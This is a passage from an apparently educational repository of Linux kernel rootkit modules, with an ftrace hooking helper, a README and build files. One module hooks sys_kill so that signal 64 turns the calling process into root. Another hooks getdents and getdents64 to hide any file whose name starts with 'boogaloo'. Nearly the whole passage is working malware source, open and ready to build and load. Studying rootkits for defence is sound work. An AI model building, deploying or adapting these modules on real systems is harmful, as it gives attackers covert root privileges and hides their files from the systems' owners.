register_kprobe(&kp); 74 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 75 | unregister_kprobe(&kp); 76 | #endif 77 | hook->address = kallsyms_lookup_name(hook->name); 78 | 79 | if (!hook->address) 80 | { 81 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | 85 | #if USE_FENTRY_OFFSET 86 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 87 | #else 88 | *((unsigned long*) hook->original) = hook->address; 89 | #endif 90 | 91 | return 0; 92 | } 93 | 94 | /* See comment below within fh_install_hook() */ 95 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | 99 | #if USE_FENTRY_OFFSET 100 | regs->ip = (unsigned long) hook->function; 101 | #else 102 | if(!within_module(parent_ip, THIS_MODULE)) 103 | regs->ip = (unsigned long) hook->function; 104 | #endif 105 | } 106 | 107 | /* Assuming we've already set hook->name, hook->function and hook->original, we 108 | * can go ahead and install the hook with ftrace. This is done by setting the 109 | * ops field of hook (see the comment below for more details), and then using 110 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 111 | * provided by ftrace.h 112 | * */ 113 | int fh_install_hook(struct ftrace_hook *hook) 114 | { 115 | int err; 116 | err = fh_resolve_hook_address(hook); 117 | if(err) 118 | return err; 119 | 120 | /* For many of function hooks (especially non-trivial ones), the $rip 121 | * register gets modified, so we have to alert ftrace to this fact. This 122 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 123 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 124 | * the built-in anti-recursion guard provided by ftrace is useless if 125 | * we're modifying $rip. This is why we have to implement our own checks 126 | * (see USE_FENTRY_OFFSET). */ 127 | hook->ops.func = fh_ftrace_thunk; 128 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 129 | | FTRACE_OPS_FL_RECURSION_SAFE 130 | | FTRACE_OPS_FL_IPMODIFY; 131 | 132 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 133 | if(err) 134 | { 135 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 136 | return err; 137 | } 138 | 139 | err = register_ftrace_function(&hook->ops); 140 | if(err) 141 | { 142 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 143 | return err; 144 | } 145 | 146 | return 0; 147 | } 148 | 149 | /* Disabling our function hook is just a simple matter of calling the built-in 150 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 151 | * opposite order to that in fh_install_hook()). 152 | * */ 153 | void fh_remove_hook(struct ftrace_hook *hook) 154 | { 155 | int err; 156 | err = unregister_ftrace_function(&hook->ops); 157 | if(err) 158 | { 159 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 160 | } 161 | 162 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 163 | if(err) 164 | { 165 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 166 | } 167 | } 168 | 169 | /* To make it easier to hook multiple functions in one module, this provides 170 | * a simple loop over an array of ftrace_hook struct 171 | * */ 172 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 173 | { 174 | int err; 175 | size_t i; 176 | 177 | for (i = 0 ; i < count ; i++) 178 | { 179 | err = fh_install_hook(&hooks[i]); 180 | if(err) 181 | goto error; 182 | } 183 | return 0; 184 | 185 | error: 186 | while (i != 0) 187 | { 188 | fh_remove_hook(&hooks[--i]); 189 | } 190 | return err; 191 | } 192 | 193 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 194 | { 195 | size_t i; 196 | 197 | for (i = 0 ; i < count ; i++) 198 | fh_remove_hook(&hooks[i]); 199 | } 200 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.3_set_root/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "ftrace_helper.h" 9 | 10 | MODULE_LICENSE("GPL"); 11 | MODULE_AUTHOR("TheXcellerator"); 12 | MODULE_DESCRIPTION("Giving root privileges to a process"); 13 | MODULE_VERSION("0.02"); 14 | 15 | /* After Kernel 4.17.0, the way that syscalls are handled changed 16 | * to use the pt_regs struct instead of the more familiar function 17 | * prototype declaration. We have to check for this, and set a 18 | * variable for later on */ 19 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 20 | #define PTREGS_SYSCALL_STUBS 1 21 | #endif 22 | 23 | /* We now have to check for the PTREGS_SYSCALL_STUBS flag and 24 | * declare the orig_kill and hook_kill functions differently 25 | * depending on the kernel version. This is the largest barrier to 26 | * getting the rootkit to work on earlier kernel versions. The 27 | * more modern way is to use the pt_regs struct. */ 28 | #ifdef PTREGS_SYSCALL_STUBS 29 | static asmlinkage long (*orig_kill)(const struct pt_regs *); 30 | 31 | /* We can only modify our own privileges, and not that of another 32 | * process. Just have to wait for signal 64 (normally unused) 33 | * and then call the set_root() function. */ 34 | asmlinkage int hook_kill(const struct pt_regs *regs) 35 | { 36 | void set_root(void); 37 | 38 | // pid_t pid = regs->di; 39 | int sig = regs->si; 40 | 41 | if ( sig == 64 ) 42 | { 43 | printk(KERN_INFO "rootkit: giving root...\n"); 44 | set_root(); 45 | return 0; 46 | } 47 | 48 | return orig_kill(regs); 49 | 50 | } 51 | #else 52 | /* This is the old way of declaring a syscall hook */ 53 | static asmlinkage long (*orig_kill)(pid_t pid, int sig); 54 | 55 | static asmlinkage int hook_kill(pid_t pid, int sig) 56 | { 57 | void set_root(void); 58 | 59 | if ( sig == 64 ) 60 | { 61 | printk(KERN_INFO "rootkit: giving root...\n"); 62 | set_root(); 63 | return 0; 64 | } 65 | 66 | return orig_kill(pid, sig); 67 | } 68 | #endif 69 | 70 | /* Whatever calls this function will have it's creds struct replaced 71 | * with root's */ 72 | void set_root(void) 73 | { 74 | /* prepare_creds returns the current credentials of the process */ 75 | struct cred *root; 76 | root = prepare_creds(); 77 | 78 | if (root == NULL) 79 | return; 80 | 81 | /* Run through and set all the various *id's to 0 (root) */ 82 | root->uid.val = root->gid.val = 0; 83 | root->euid.val = root->egid.val = 0; 84 | root->suid.val = root->sgid.val = 0; 85 | root->fsuid.val = root->fsgid.val = 0; 86 | 87 | /* Set the cred struct that we've modified to that of the calling process */ 88 | commit_creds(root); 89 | } 90 | 91 | /* Declare the struct that ftrace needs to hook the syscall */ 92 | static struct ftrace_hook hooks[] = { 93 | HOOK("__x64_sys_kill", hook_kill, &orig_kill), 94 | }; 95 | 96 | /* Module initialization function */ 97 | static int __init rootkit_init(void) 98 | { 99 | /* Hook the syscall and print to the kernel buffer */ 100 | int err; 101 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 102 | if(err) 103 | return err; 104 | 105 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 106 | 107 | return 0; 108 | } 109 | 110 | static void __exit rootkit_exit(void) 111 | { 112 | /* Unhook and restore the syscall and print to the kernel buffer */ 113 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 114 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 115 | } 116 | 117 | module_init(rootkit_init); 118 | module_exit(rootkit_exit); 119 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.4_hiding_directories/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += rootkit.o 2 | 3 | all: 4 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 5 | 6 | clean: 7 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 8 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.4_hiding_directories/README.md: -------------------------------------------------------------------------------- 1 | # Linux Kernel Hacking 2 | 3 | ## 3.4: Hiding files/directories 4 | 5 | > Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory 6 | 7 | > There is now a blog post explaining this module in a lot more detail. You can check it out [here](https://xcellerator.github.io/posts/linux_rootkits_06/). 8 | 9 | > Sadly, this module is a lot bigger when we use ftrace. The reason is that we end up repeating the hook function *four* times - two copies each of both `sys_getdents` and `sys_getdents64`, using both the `pt_regs` struct and the old-fashioned function declaration (for kernel versions <4.17 - looking at you Ubuntu 16.04...) 10 | 11 | This is probably the most complicated syscall hook yet. As far as the kernel module goes, the structure is the same as the others in this section - we find the syscall table, and then hook a syscall with our own replacement, in this case, we hook `sys_getdents64`. 12 | 13 | What makes this task more difficult is that we are actually altering the structs that are returned to the user. First, we extract the *userspace* `dirent` struct from the `si` register in `regs`, and then call the real `sys_getdents64` and save the result in `ret`. Then, we have to `copy_from_user` the *userspace* `dirent` struct to the *kernelspace* `dirent_ker` struct so that we can probe and alter it's contents. At this point, we loop through the directory entries using `offset` (initially set to `0`, and incremented by the `d_reclen` field of each dirent as we proceed through the entries). 14 | 15 | As we come to each entry, we compare the `d_name` field to `PREFIX` (defined to be "boogaloo") and, if we get a match, we increment the `d_reclen` field of the *previous* entry by that of the current one. This results in the current entry being completely skipped over by anything that interates blindly over these entries (as essentially everything does!). 16 | 17 | The only caveat is if "boogaloo" appears in the *first* entry in the list, i.e. there is no previous entry that can subsume this one. The remedy to this circumstance is to just subtract from `ret` the `d_reclen` of the current (first) entry, and `memmove` everything *after* the first entry up to the start of the entry structure. 18 | 19 | Finally, we just have to `copy_to_user` the `dirent_ker` struct back to the userspace `dirent` one and return `ret` back to the user. 20 | 21 | To use: 22 | * Build with `make` 23 | * Create a file/directory that starts with the string "boogaloo", e.g. `touch boogaloo` 24 | * Load with `insmod rootkit.ko` 25 | * List the directory contents of wherever you placed the "boogaloo" file, e.g. `ls` 26 | * Observe that the "boogaloo" file is missing! 27 | * Unload with `rmmod rootkit` 28 | 29 | > Inspired, in part, by the [Diamorphine](https://github.com/m0nad/Diamorphine) repo. 30 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Helper library for ftrace hooking kernel functions 3 | * Author: Harvey Phillips (xcellerator@gmx.com) 4 | * License: GPL 5 | * */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 14 | #define PTREGS_SYSCALL_STUBS 1 15 | #endif 16 | 17 | /* 18 | * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 19 | * so we have to use kprobes to get the address. 20 | * Full credit to @f0lg0 for the idea. 21 | */ 22 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 23 | #define KPROBE_LOOKUP 1 24 | #include 25 | static struct kprobe kp = { 26 | .symbol_name = "kallsyms_lookup_name" 27 | }; 28 | #endif 29 | 30 | #define HOOK(_name, _hook, _orig) \ 31 | { \ 32 | .name = (_name), \ 33 | .function = (_hook), \ 34 | .original = (_orig), \ 35 | } 36 | 37 | /* We need to prevent recursive loops when hooking, otherwise the kernel will 38 | * panic and hang. The options are to either detect recursion by looking at 39 | * the function return address, or by jumping over the ftrace call. We use the 40 | * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by 41 | * setting it to 1. (Oridinarily ftrace provides it's own protections against 42 | * recursion, but it relies on saving return registers in $rip. We will likely 43 | * need the use of the $rip register in our hook, so we have to disable this 44 | * protection and implement our own). 45 | * */ 46 | #define USE_FENTRY_OFFSET 0 47 | #if !USE_FENTRY_OFFSET 48 | #pragma GCC optimize("-fno-optimize-sibling-calls") 49 | #endif 50 | 51 | /* We pack all the information we need (name, hooking function, original function) 52 | * into this struct. This makes is easier for setting up the hook and just passing 53 | * the entire struct off to fh_install_hook() later on. 54 | * */ 55 | struct ftrace_hook { 56 | const char *name; 57 | void *function; 58 | void *original; 59 | 60 | unsigned long address; 61 | struct ftrace_ops ops; 62 | }; 63 | 64 | /* Ftrace needs to know the address of the original function that we 65 | * are going to hook. As before, we just use kallsyms_lookup_name() 66 | * to find the address in kernel memory. 67 | * */ 68 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 69 | { 70 | #ifdef KPROBE_LOOKUP 71 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 72 | kallsyms_lookup_name_t kallsyms_lookup_name; 73 | register_kprobe(&kp); 74 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 75 | unregister_kprobe(&kp); 76 | #endif 77 | hook->address = kallsyms_lookup_name(hook->name); 78 | 79 | if (!hook->address) 80 | { 81 | printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); 82 | return -ENOENT; 83 | } 84 | 85 | #if USE_FENTRY_OFFSET 86 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 87 | #else 88 | *((unsigned long*) hook->original) = hook->address; 89 | #endif 90 | 91 | return 0; 92 | } 93 | 94 | /* See comment below within fh_install_hook() */ 95 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) 96 | { 97 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 98 | 99 | #if USE_FENTRY_OFFSET 100 | regs->ip = (unsigned long) hook->function; 101 | #else 102 | if(!within_module(parent_ip, THIS_MODULE)) 103 | regs->ip = (unsigned long) hook->function; 104 | #endif 105 | } 106 | 107 | /* Assuming we've already set hook->name, hook->function and hook->original, we 108 | * can go ahead and install the hook with ftrace. This is done by setting the 109 | * ops field of hook (see the comment below for more details), and then using 110 | * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions 111 | * provided by ftrace.h 112 | * */ 113 | int fh_install_hook(struct ftrace_hook *hook) 114 | { 115 | int err; 116 | err = fh_resolve_hook_address(hook); 117 | if(err) 118 | return err; 119 | 120 | /* For many of function hooks (especially non-trivial ones), the $rip 121 | * register gets modified, so we have to alert ftrace to this fact. This 122 | * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also 123 | * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because 124 | * the built-in anti-recursion guard provided by ftrace is useless if 125 | * we're modifying $rip. This is why we have to implement our own checks 126 | * (see USE_FENTRY_OFFSET). */ 127 | hook->ops.func = fh_ftrace_thunk; 128 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 129 | | FTRACE_OPS_FL_RECURSION_SAFE 130 | | FTRACE_OPS_FL_IPMODIFY; 131 | 132 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 133 | if(err) 134 | { 135 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 136 | return err; 137 | } 138 | 139 | err = register_ftrace_function(&hook->ops); 140 | if(err) 141 | { 142 | printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); 143 | return err; 144 | } 145 | 146 | return 0; 147 | } 148 | 149 | /* Disabling our function hook is just a simple matter of calling the built-in 150 | * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the 151 | * opposite order to that in fh_install_hook()). 152 | * */ 153 | void fh_remove_hook(struct ftrace_hook *hook) 154 | { 155 | int err; 156 | err = unregister_ftrace_function(&hook->ops); 157 | if(err) 158 | { 159 | printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); 160 | } 161 | 162 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 163 | if(err) 164 | { 165 | printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); 166 | } 167 | } 168 | 169 | /* To make it easier to hook multiple functions in one module, this provides 170 | * a simple loop over an array of ftrace_hook struct 171 | * */ 172 | int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 173 | { 174 | int err; 175 | size_t i; 176 | 177 | for (i = 0 ; i < count ; i++) 178 | { 179 | err = fh_install_hook(&hooks[i]); 180 | if(err) 181 | goto error; 182 | } 183 | return 0; 184 | 185 | error: 186 | while (i != 0) 187 | { 188 | fh_remove_hook(&hooks[--i]); 189 | } 190 | return err; 191 | } 192 | 193 | void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 194 | { 195 | size_t i; 196 | 197 | for (i = 0 ; i < count ; i++) 198 | fh_remove_hook(&hooks[i]); 199 | } 200 | -------------------------------------------------------------------------------- /3_RootkitTechniques/3.4_hiding_directories/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "ftrace_helper.h" 10 | 11 | #define PREFIX "boogaloo" 12 | 13 | MODULE_LICENSE("GPL"); 14 | MODULE_AUTHOR("TheXcellerator"); 15 | MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); 16 | MODULE_VERSION("0.02"); 17 | 18 | /* After Kernel 4.17.0, the way that syscalls are handled changed 19 | * to use the pt_regs struct instead of the more familar function 20 | * prototype declaration. We have to check for this, and set a 21 | * variable for later on */ 22 | #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) 23 | #define PTREGS_SYSCALL_STUBS 1 24 | #endif 25 | 26 | /* We now have to check for the PTREGS_SYSCALL_STUBS flag and 27 | * declare the orig_getdents64 and hook_getdents64 functions differently 28 | * depending on the kernel version. This is the larget barrier to 29 | * getting the rootkit to work on earlier kernel versions. The 30 | * more modern way is to use the pt_regs struct. */ 31 | #ifdef PTREGS_SYSCALL_STUBS 32 | static asmlinkage long (*orig_getdents64)(const struct pt_regs *); 33 | static asmlinkage long (*orig_getdents)(const struct pt_regs *); 34 | 35 | /* This is our hooked function for sys_getdents64 */ 36 | asmlinkage int hook_getdents64(const struct pt_regs *regs) 37 | { 38 | /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ 39 | // int fd = regs->di; 40 | struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; 41 | // int count = regs->dx; 42 | 43 | long error; 44 | 45 | /* We will need these intermediate structures for looping through the directory listing */ 46 | struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; 47 | unsigned long offset = 0; 48 | 49 | /* We first have to actually call the real sys_getdents64 syscall and save it so that we can 50 | * examine it's contents to remove anything that is prefixed by PREFIX. 51 | * We also allocate dir_entry with the same amount of memory as */ 52 | int ret = orig_getdents64(regs); 53 | dirent_ker = kzalloc(ret, GFP_KERNEL); 54 | 55 | if ( (ret <= 0) || (dirent_ker == NULL) ) 56 | return ret; 57 | 58 | /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 59 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 60 | error = copy_from_user(dirent_ker, dirent, ret); 61 | if (error) 62 | goto done; 63 | 64 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 65 | while (offset < ret) 66 | { 67 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 68 | current_dir = (void *)dirent_ker + offset; 69 | 70 | /* Compare current_dir->d_name to PREFIX */ 71 | if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) 72 | { 73 | /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ 74 | if ( current_dir == dirent_ker ) 75 | { 76 | ret -= current_dir->d_reclen; 77 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 78 | continue; 79 | } 80 | /* This is the crucial step: we add the length of the current directory to that of the 81 | * previous one. This means that when the directory structure is looped over to print/search 82 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 83 | previous_dir->d_reclen += current_dir->d_reclen; 84 | } 85 | else 86 | { 87 | /* If we end up here, then we didn't find PREFIX in current_dir->d_name 88 | * We set previous_dir to the current_dir before moving on and incrementing 89 | * current_dir at the start of the loop */ 90 | previous_dir = current_dir; 91 | } 92 | 93 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 94 | * directory listing */ 95 | offset += current_dir->d_reclen; 96 | } 97 | 98 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 99 | * Note that dirent is already in the right place in memory to be referenced by the integer 100 | * ret. */ 101 | error = copy_to_user(dirent, dirent_ker, ret); 102 | if (error) 103 | goto done; 104 | 105 | done: 106 | /* Clean up and return whatever is left of the directory listing to the user */ 107 | kfree(dirent_ker); 108 | return ret; 109 | 110 | } 111 | 112 | /* This is our hook for sys_getdetdents */ 113 | asmlinkage int hook_getdents(const struct pt_regs *regs) 114 | { 115 | /* The linux_dirent struct got removed from the kernel headers so we have to 116 | * declare it ourselves */ 117 | struct linux_dirent { 118 | unsigned long d_ino; 119 | unsigned long d_off; 120 | unsigned short d_reclen; 121 | char d_name[]; 122 | }; 123 | 124 | /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ 125 | // int fd = regs->di; 126 | struct linux_dirent *dirent = (struct linux_dirent *)regs->si; 127 | // int count = regs->dx; 128 | 129 | long error; 130 | 131 | /* We will need these intermediate structures for looping through the directory listing */ 132 | struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; 133 | unsigned long offset = 0; 134 | 135 | /* We first have to actually call the real sys_getdents syscall and save it so that we can 136 | * examine it's contents to remove anything that is prefixed by PREFIX. 137 | * We also allocate dir_entry with the same amount of memory as */ 138 | int ret = orig_getdents(regs); 139 | dirent_ker = kzalloc(ret, GFP_KERNEL); 140 | 141 | if ( (ret <= 0) || (dirent_ker == NULL) ) 142 | return ret; 143 | 144 | /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 145 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 146 | error = copy_from_user(dirent_ker, dirent, ret); 147 | if (error) 148 | goto done; 149 | 150 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 151 | while (offset < ret) 152 | { 153 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 154 | current_dir = (void *)dirent_ker + offset; 155 | 156 | /* Compare current_dir->d_name to PREFIX */ 157 | if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) 158 | { 159 | /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ 160 | if ( current_dir == dirent_ker ) 161 | { 162 | ret -= current_dir->d_reclen; 163 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 164 | continue; 165 | } 166 | /* This is the crucial step: we add the length of the current directory to that of the 167 | * previous one. This means that when the directory structure is looped over to print/search 168 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 169 | previous_dir->d_reclen += current_dir->d_reclen; 170 | } 171 | else 172 | { 173 | /* If we end up here, then we didn't find PREFIX in current_dir->d_name 174 | * We set previous_dir to the current_dir before moving on and incrementing 175 | * current_dir at the start of the loop */ 176 | previous_dir = current_dir; 177 | } 178 | 179 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 180 | * directory listing */ 181 | offset += current_dir->d_reclen; 182 | } 183 | 184 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 185 | * Note that dirent is already in the right place in memory to be referenced by the integer 186 | * ret. */ 187 | error = copy_to_user(dirent, dirent_ker, ret); 188 | if (error) 189 | goto done; 190 | 191 | done: 192 | /* Clean up and return whatever is left of the directory listing to the user */ 193 | kfree(dirent_ker); 194 | return ret; 195 | 196 | } 197 | #else 198 | static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count); 199 | static asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent *dirent, unsigned int count); 200 | 201 | static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirent, unsigned int count) 202 | { 203 | /* We will need these intermediate structures for looping through the directory listing */ 204 | struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; 205 | unsigned long offset = 0; 206 | 207 | /* We first have to actually call the real sys_getdents64 syscall and save it so that we can 208 | * examine it's contents to remove anything that is prefixed by PREFIX. 209 | * We also allocate dir_entry with the same amount of memory as */ 210 | int ret = orig_getdents64(fd, dirent, count); 211 | dirent_ker = kzalloc(ret, GFP_KERNEL); 212 | 213 | if ( (ret <= 0) || (dirent_ker == NULL) ) 214 | return ret; 215 | 216 | /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace 217 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 218 | long error; 219 | error = copy_from_user(dirent_ker, dirent, ret); 220 | if (error) 221 | goto done; 222 | 223 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 224 | while (offset < ret) 225 | { 226 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 227 | current_dir = (void *)dirent_ker + offset; 228 | 229 | /* Compare current_dir->d_name to PREFIX */ 230 | if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) 231 | { 232 | /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ 233 | if ( current_dir == dirent_ker ) 234 | { 235 | ret -= current_dir->d_reclen; 236 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 237 | continue; 238 | } 239 | /* This is the crucial step: we add the length of the current directory to that of the 240 | * previous one. This means that when the directory structure is looped over to print/search 241 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 242 | previous_dir->d_reclen += current_dir->d_reclen; 243 | } 244 | else 245 | { 246 | /* If we end up here, then we didn't find PREFIX in current_dir->d_name 247 | * We set previous_dir to the current_dir before moving on and incrementing 248 | * current_dir at the start of the loop */ 249 | previous_dir = current_dir; 250 | } 251 | 252 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 253 | * directory listing */ 254 | offset += current_dir->d_reclen; 255 | } 256 | 257 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 258 | * Note that dirent is already in the right place in memory to be referenced by the integer 259 | * ret. */ 260 | error = copy_to_user(dirent, dirent_ker, ret); 261 | if (error) 262 | goto done; 263 | 264 | done: 265 | /* Clean up and return whatever is left of the directory listing to the user */ 266 | kfree(dirent_ker); 267 | return ret; 268 | } 269 | 270 | static asmlinkage int hook_getdents(unsigned int fd, struct linux_dirent *dirent, unsigned int count) 271 | { 272 | /* This is an old structure that isn't included in the kernel headers anymore, so we 273 | * have to declare it ourselves */ 274 | struct linux_dirent { 275 | unsigned long d_ino; 276 | unsigned long d_off; 277 | unsigned short d_reclen; 278 | char d_name[]; 279 | }; 280 | /* We will need these intermediate structures for looping through the directory listing */ 281 | struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; 282 | unsigned long offset = 0; 283 | 284 | /* We first have to actually call the real sys_getdents syscall and save it so that we can 285 | * examine it's contents to remove anything that is prefixed by PREFIX. 286 | * We also allocate dir_entry with the same amount of memory as */ 287 | int ret = orig_getdents(fd, dirent, count); 288 | dirent_ker = kzalloc(ret, GFP_KERNEL); 289 | 290 | if ( (ret <= 0) || (dirent_ker == NULL) ) 291 | return ret; 292 | 293 | /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace 294 | * dirent_ker is our copy of the returned dirent struct that we can play with */ 295 | long error; 296 | error = copy_from_user(dirent_ker, dirent, ret); 297 | if (error) 298 | goto done; 299 | 300 | /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ 301 | while (offset < ret) 302 | { 303 | /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ 304 | current_dir = (void *)dirent_ker + offset; 305 | 306 | /* Compare current_dir->d_name to PREFIX */ 307 | if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) 308 | { 309 | /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ 310 | if ( current_dir == dirent_ker ) 311 | { 312 | ret -= current_dir->d_reclen; 313 | memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); 314 | continue; 315 | } 316 | /* This is the crucial step: we add the length of the current directory to that of the 317 | * previous one. This means that when the directory structure is looped over to print/search 318 | * the contents, the current directory is subsumed into that of whatever preceeds it. */ 319 | previous_dir->d_reclen += current_dir->d_reclen; 320 | } 321 | else 322 | { 323 | /* If we end up here, then we didn't find PREFIX in current_dir->d_name 324 | * We set previous_dir to the current_dir before moving on and incrementing 325 | * current_dir at the start of the loop */ 326 | previous_dir = current_dir; 327 | } 328 | 329 | /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole 330 | * directory listing */ 331 | offset += current_dir->d_reclen; 332 | } 333 | 334 | /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. 335 | * Note that dirent is already in the right place in memory to be referenced by the integer 336 | * ret. */ 337 | error = copy_to_user(dirent, dirent_ker, ret); 338 | if (error) 339 | goto done; 340 | 341 | done: 342 | /* Clean up and return whatever is left of the directory listing to the user */ 343 | kfree(dirent_ker); 344 | return ret; 345 | } 346 | #endif 347 | 348 | /* Declare the struct that ftrace needs to hook the syscall */ 349 | static struct ftrace_hook hooks[] = { 350 | HOOK("__x64_sys_getdents64", hook_getdents64, &orig_getdents64), 351 | HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents), 352 | }; 353 | 354 | /* Module initialization function */ 355 | static int __init rootkit_init(void) 356 | { 357 | /* Hook the syscall and print to the kernel buffer */ 358 | int err; 359 | err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); 360 | if(err) 361 | return err; 362 | 363 | printk(KERN_INFO "rootkit: Loaded >:-)\n"); 364 | 365 | return 0; 366 | } 367 | 368 | static void __exit rootkit_exit(void) 369 | { 370 | /* Unhook and restore the syscall and print to the kernel buffer */ 371 | fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); 372 | printk(KERN_INFO "rootkit: Unloaded :-(\n"); 373 | } 374 | 375 | module_init(rootkit_init); 376 | module_exit(rootkit_exit); 